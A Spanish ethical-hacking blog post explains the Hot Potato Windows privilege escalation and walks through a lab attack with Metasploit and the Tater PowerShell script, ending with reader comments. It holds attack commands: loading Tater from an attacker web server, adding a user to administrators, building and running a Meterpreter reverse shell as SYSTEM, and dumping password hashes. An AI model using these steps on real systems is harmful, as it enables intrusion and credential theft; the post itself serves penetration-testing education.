A principios de año salía una de las vulnerabilidades del año denominada como
Hot Potato. Como ya comentó nuestro compañero en
Eleven Paths Sergio de los Santos (
@ssantosv) en una explicación detallada sobre la elevación de privilegios,
Hot Potato consiste en encadenar 3 fallos de seguridad que desembocan en la escalada de privilegios. Un problema generado por tres partes que se encuentran muy arraigados en los sistemas
Microsoft Windows.
|
Figura 1: Tater & Hot Potato. Ownear sistemas Microsoft Windows |
Esta vulnerabilidad en concreto permite elevar privilegio en una máquina con sistema operativo
Windows 7, 8 y 10, con sus versiones servidor correspondientes. Como se puede entender
Hot Potato es una patata caliente para
Microsoft y así se ha podido ver en estos seis meses. Haciendo un breve esquema del vector de ataque os presento este desglose:
• NBNS Spoofing en local: El propósito es conseguir que todas las peticiones NBNS pasen por nosotros, estando en local en dicha máquina. Inundaremos el host destino, en este caso es el local, con las respuestas NBNS con el objetivo de que el resto de procesos y servicios de la máquina obtenga nuestra dirección IP, 127.0.0.1.Nosotros en la antigua Informática 64 hicimos NBNS Sniffer, una herramienta que capturaba estas peticiones por la red.
• Fake WPAD: Debemos montar un proxy falso con el nombre WPAD, que resuelva, conecte y proporcione el fichero .dat. Aquí mezclamos el ataque anterior, dónde se le dice a la máquina que el WPAD está en 127.0.0.1. Si la máquina Windows tiene configurada la detección automática de proxy, seremos su proxy local y las peticiones pasarán por nosotros. Este mismo bug es aprovechado por Evil FOCA para hacer el mitm tanto en IPv4 como IPv6.
• SMB NTLM Relay: En este punto tenemos todo montado para que servicios o procesos que utilicen HTTP para hacer autenticación NTLM, como podría ser Windows Update, se podrían reenviar a un proceso SMB de la máquina. Este proceso se encargará de ejecutar como SYSTEM, ya que parecen autenticados. En este punto se da la elevación.
Al poco tiempo de publicar una prueba de concepto y el
código del exploit Hot Potato se liberó una implementación para
Powershell, lo cual ayuda a la evasión de antivirus de forma casi natural. Esta implementación se denominó
Tater y podéis encontrarla en su Github.
En este artículo hablaremos de un escenario que podemos encontrar en muchos escenarios en proyectos de
Ethical Hacking. Este es nuestro caso concreto
• Máquina Windows 7 con aplicación vulnerable.
• Kali Linux 2 con Metasploit y Tater descargado a través de su Github.
La idea es ganar acceso sin privilegio en la máquina y poder utilizar
Tater como
“consola privilegiada” y poder conseguir un acceso total como
SYSTEM a través de la generación y ejecución de un
Meterpreter.
PoC: Metasploit + Tater = Pwned!
La vulnerabilidad de la aplicación que nos dará acceso sin privilegio a la máquina no es relevante, pero diremos que es
Easy File Management Web Server. El
Payload que utilizaremos es
windows/powershell_reverse_tcp, el cual nos permite, una vez explotada la vulnerabilidad, obtener una sesión
Powershell remota con el privilegio del usuario del proceso comprometido. Para el ejemplo, el usuario será “
sinPrivilegio”, un usuario creado en la máquina que solo pertenece al grupo usuarios de la máquina, no tiene ningún privilegio administrativo.
En la siguiente imagen vemos como se configurar el atributo
LOAD_MODULES. Este atributo está apuntando a
http://192.168.56.103/Tater.ps1, esto es porque en esa dirección
IP tenemos montado un servidor web con el
script de
Tater descargado de
Github. Hay que decir que este
script muestra diferentes funciones que después podremos utilizar a través de la consola
Powershell obtenida.
|
Figura 4: Configuración de la ejecución del exploit Tater desde Metasploit |
Una vez obtenemos la sesión con la
Powershell interactiva y el fichero de
Tater.ps1 cargado podemos ejecutar la función
Invoke-Tater. Esta función dispone de un parámetro denominado
-command, el cual nos permite ejecutar la instrucción que queramos con privilegio, si la combinación de ataques tiene éxito. En la salida que la función
Invoke-Tater nos proporciona es muy interesante ya que se puede ir leyendo las diferentes etapas del ataque.
|
Figura 5: Consola PowerShell obtenida con usuario "sinPrivilegio" |
En este ejemplo se ha utilizado la instrucción
Invoke-Tater -command “net localgroup administradores sinprivilegio /add”. Lo que estamos consiguiendo es que el usuario
sinPrivilegio se inserte dentro del grupo administradores de la máquina, por lo que con dicho usuario tendremos privilegio administrativo.
Elevación de privilegios conseguida.
Podemos abrir un
Meterpreter que nos simplifique ciertas operaciones como subida y descarga de archivos y ejecución de otros scripts. Para ello utilizamos la sesión creada con la consola
Powershell interactiva y ejecutamos el comando
sessions -u [ID sesión]. A través de la ejecución de
post/multi/manage/shell_to_meterpreter conseguimos el
Meterpreter en una nueva sesión.
|
Figura 6: Consecución de consola Meterpreter |
Necesitamos generar un binario, o un
script de
Powershell o
VBS, con el objetivo de que sea ejecutado a través de la invocación de
Tater. Consiguiendo esto lograremos que el binario que creamos sea ejecutado por
SYSTEM, por lo que nos devolverá un
Meterpreter con el máximo privilegio en la máquina
Windows. Para generar el binario utilizaremos el módulo
payload/windows/meterpreter/reverse_tcp, tal y como se puede ver en la imagen. Tras configurar la dirección
IP a la que el
Meterpreter se conectará, generamos el fichero con la instrucción
generate -t exe -f [ruta fichero].
|
Figura 7: Generación del binario para conseguir Meterpreter |
Volvemos a la sesión de
Meterpreter a través de la ejecución
sessions -i [ID sesión]. Como se puede ver en la imagen, podemos ejecutar el comando
upload [origen] [destino] y conseguiremos subir el binario generado en el paso anterior. Lo dejamos en el escritorio del usuario
sinPrivilegio.
|
Figura 8: Subida del binario a la máquina comprometida |
El siguiente paso es configurar el módulo
exploit/multi/handler para recibir la conexión que creará el binario generado cuando sea invocado por
Tater. La configuración del
handler es sencilla, solo tenemos que indicarle el
LHOST que será la dirección
IP de la máquina
Kali Linux 2 y ejecutar el comando
exploit -j. El parámetro
-j nos permite dejar el
handler en
background.
|
Figura 9: Configuración del handler en Metasploit |
Ahora volvemos a la sesión dónde tenemos abierta la sesión
Powershell interactiva y ejecutamos el comando
invoke-tater -command “[ruta fichero EXE subido]”. Como se puede ver en la imagen obtendremos rápidamente una sesión nueva de
Meterpreter. Si echamos un vistazo con el comando
getuid de
Meterpreter podemos observar que somos
SYSTEM, por lo que, entre otras muchas cosas, podemos realizar un
hashdump, tal y como se puede ver en la imagen siguiente.
|
Figura 10: Consola Meterpreter como SYSTEM haciendo un hashdump de la máquina víctima |
En este último paso ya hemos aprovechado de
Hot Potato y su implementación de
Tater para lograr ejecutar con el máximo privilegio y tener acceso y control total sobre la máquina. Interesante vulnerabilidad para lograr privilegios en una máquina
Windows. ¿Tú ya has utilizado
Hot Potato y
Tater en tu
ethical hacking? Por si acaso,
fortifica tu Windows al máximo no sea que te lo hagan a ti.
Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking" y “Pentesting con Powershell”
5 comentarios:
Hola Chema, en primera instancia me gustaría felicitarte y agradecer tu trabajo.
Muy curioso lo de Hot Potato, justo ahora estamos viéndolo en el curso de CHEE de TSS.
¡Un saludo!
Cuado veo la vulnerabiliad sobre Easy File Management Web Server no se por que la asocio a Pablo XDD.
Mucho tiempo leyendo el blog.
Saludos,
Muchas gracias!
Una duda, se menciona quw Windows Update podría llegar a realizar las peticiones para acabar elevando a cuenta de SYSTEM, pero viendo doc de MS, el servicio de Windows Update no usa el autodiscovery de ninguna forma ya que no hace uso de Wininet si no de WINHTTP, por lo que o el sistema tiene configurado el proxy, o no usa los settings de IE para nada:
https://support.microsoft.com/en-us/kb/900935
¿Es correcta mi interpretación y a este servicio no afecta o no he entendido bien?
Gracias como siempre por compartir el conocimiento
Gracia por compartir sus conocimiento, y brindarle buena información
Pero tengo una pregunta este ataque se puede fuera de Lan
Gracia por compartir sus conocimiento, y brindarle buena información
Pero tengo una pregunta este ataque se puede fuera de Lan
Publicar un comentario